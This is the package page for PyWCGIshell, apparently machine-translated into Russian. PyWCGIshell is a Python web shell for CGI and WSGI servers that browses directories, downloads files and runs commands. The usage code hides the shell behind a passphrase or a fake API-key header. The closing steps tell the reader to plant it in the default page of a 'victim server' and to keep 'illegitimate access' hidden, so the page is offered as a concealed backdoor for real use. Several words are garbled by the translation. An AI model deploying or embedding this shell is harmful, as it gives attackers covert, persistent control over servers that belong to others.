PyWCGIshell

PYWCGISHELL

Описание

Этот пакет реализует веб -оборудование для CGI и WSGI Server.

С помощью этого веб -сбора вы можете:

• Исследуйте каталоги и загрузку файлов
• выполнить командные строки (с историей команды)
• Показать основную информацию о сервере окружающей среды
• Показать переменные среды

Требования

Этот пакет требует:

• Python3
• Стандартная библиотека Python3

Установка

pip install PyWCGIshell

Использование

Командная строка

(Командная строка полезна, чтобы попробовать Webshell)

python3 -m PyWCGIshell wsgi # Try it in wsgi mode

Скрипт Python

CGI Page

 from PyWCGIshell import WebShell

def my_default_cgi_page ():
	print ( "Content-type:text/plain; charset=utf-8" )
	print ( "" )
	print ( "Hello World !" )

webshell = WebShell ()
webshell . standard_page = my_default_cgi_page
webshell . run ()

WSGI Page

 from PyWCGIshell import WebShell

def my_default_wsgi_page ( environ , start_response ):
    status = '200 OK'
    headers = [( 'Content-type' , 'text/plain; charset=utf-8' )]
    start_response ( status , headers )
    return [ b"Hello World !" ]

webshell = WebShell ( type_ = "wsgi" )
webshell . standard_page = my_default_wsgi_page
application = webshell . run
# Apache with mod_wsgi use the "application" as default function 

Параметры веб -машины

 from PyWCGIshell import WebShell

webshell = WebShell ( type_ = "cgi" , passphrase = "SHELL" , pass_type = "method" )
webshell . run ()

Я не рекомендую использовать method , такой как pass_type , чтобы скрыть ваш веб -склад.

Вы можете использовать аналогичную конфигурацию, чтобы скрыть свой веб -оборудование.

 from PyWCGIshell import WebShell

webshell = WebShell ( type_ = "wsgi" , passphrase = "<inexistant api key>" , pass_type = "header_value" )
application = webshell . run

Чтобы использовать эту веб -оболочку:

• Configure (тип сервера, PassFrase и PassFrase расположение) и скопируйте код WebShell или установите его
• Вставьте его на страницу по умолчанию сервера жертвы или импортируйте
• Отправить запрос с помощью PassFrase и использовать слабый сервер

Пример

Установите и настройте Pywcgishell на WebScripts, чтобы сохранить свой незаконнорожденный доступ и скрыть его (репо есть здесь).

WebShell на WebScripts - YouTube

Ссылки

• GitHub Page
• Документация
• PYPI пакет

Лицензия

Лицензировано под GPL, версия 3.